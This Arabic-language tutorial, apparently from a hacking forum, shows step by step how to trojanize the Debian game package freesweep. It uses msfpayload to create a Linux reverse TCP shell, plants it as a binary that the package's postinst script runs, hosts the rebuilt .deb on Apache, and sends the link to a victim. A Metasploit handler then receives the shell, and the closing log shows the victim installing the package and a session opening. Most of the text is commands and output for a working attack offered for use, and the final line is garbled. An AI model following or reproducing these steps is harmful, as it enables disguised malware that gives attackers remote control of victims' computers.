نفتح شل ونكتب التالي :
كود:
root@bt:~# apt-get --download-only install freesweep
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages will be upgraded:
freesweep
1 upgraded, 0 newly installed, 0 to remove and 1 not upgraded.
Need to get 39.3kB of archives.
After this operation, 164kB of additional disk space will be used.
Get:1 http://archive.offensive-security.com pwnsauce/universe freesweep 0.90-1 [39.3kB]
Fetched 39.3kB in 4s (8907B/s)
Download complete and in download only mode
نقوم بعمل مجلد ونسميه Trojan
كود:
كود:
root@bt:~# mkdir /root/Trojan
كود:
root@bt:~# mv /var/cache/apt/archives/freesweep_0.90-1_i386.deb /root/Troja n
نغير صلاحية الملف ندخل إلى مجلد
كود:
كود:
root@bt:~# cd Trojan
root@bt:~/Trojan#
كود:
root@bt:~/Trojan# chmod 777 /root/Trojan
كود:
root@bt:~/Trojan# dpkg -x freesweep_0.90-1_i386.deb Juego
مجلد جديد نسميه DEBIAN
كود:
root@bt:~/Trojan# mkdir Juego/DEBIAN
كود:
root@bt:~/Trojan# cd Juego/DEBIAN
داخل مجلد DEBIAN نقوم بإنشاء ملفين control و postinst
داخل ملف control ننسخ الكود التالي:
كود:
كود:
Package: freesweep
Version: 0.90-1
sección: Juegos y Diversion
Prioridad: Media
Arquitectura: i386
Creado: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)
Descripcion: Buscaminas es una implementación del popular juego de minas, donde se intenta encontrar todas las minas sin encender ninguna, en base a sugerencias dadas por el equipo
.
داخل ملف postinst ننسخ الكود التالي :
كود:
كود:
#!/bin/sh
sudo chmod 2755 /usr/games/freesweep_scores && /usr/games/freesweep_scores & /usr/games/freesweep &
نقوم بنشأ trojan عن طريق msfpayload
كود:
كود:
root@bt:~/Trojan/Juego/DEBIAN# msfpayload linux/x86/shell/reverse_tcp LHOST=192.168.1.2 LPORT=1234 X > /root/Trojan/Juego/usr/games/freesweep_scores
Created by msfpayload (http://www.****sploit.com).
Payload: linux/x86/shell/reverse_tcp
Length: 50
Options: LHOST=192.168.1.2,LPORT=1234
root@bt:~/Trojan/Juego/DEBIAN#
كود:
كود:
root@bt:~/Trojan/Juego/DEBIAN# chmod 755 postinst
root@bt:~/Trojan/Juego/DEBIAN# dpkg-deb --build /root/Trojan/Juego/
root@bt:~/Trojan/Juego/DEBIAN# cd /root/Trojan
الملف سنجده في مجلد Juego
سنجد الملف التنفيذي وننقله إلى مجلد /var/www
نقوم بتشغيل appach server
كود:
كود:
/etc/init.d/apache2 start
نص بعمل تناسوا multi handler
كود:
كود:
msfcli exploit/multi/handler PAYLOAD=linux/x86/shell/reverse_tcp LHOST=192.168.1.2 LPORT=1234 E
نرسل لنك إلى الضحية و عندما يقوم بتحميله وتنصيب كما في الكود التالي
كود:
كود:
hacklab@hacklab-desktop:~$ wget http://192.168.142.137/freesweep.deb
--2010-01-21 23:36:27-- http://192.168.142.137/freesweep.deb
Conectando a 192.168.142.137:80... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 39214 (38K) [application/x-debian-package]
Guardando: «freesweep.deb»
100%[=======================================================>]
39.214 --.-K/s en 0s
2010-01-21 23:36:29 (93,0 MB/s) - `freesweep.deb' guardado [39214/39214]
hacklab@hacklab-desktop:~$
كود:
hacklab@hacklab-desktop:~$ sudo dpkg -i freesweep.deb ************************************************** ****************************************
attacker:
كود:
كود:
[*] Sending stage (36 bytes)[*] Command shell session 1 opened (192.168.142.137:1234 -> 192.168.142.140:41233)
source
avp 'vdrm ulg jv,[hk gdk,;s ,jp,dgi Ygn lgt deb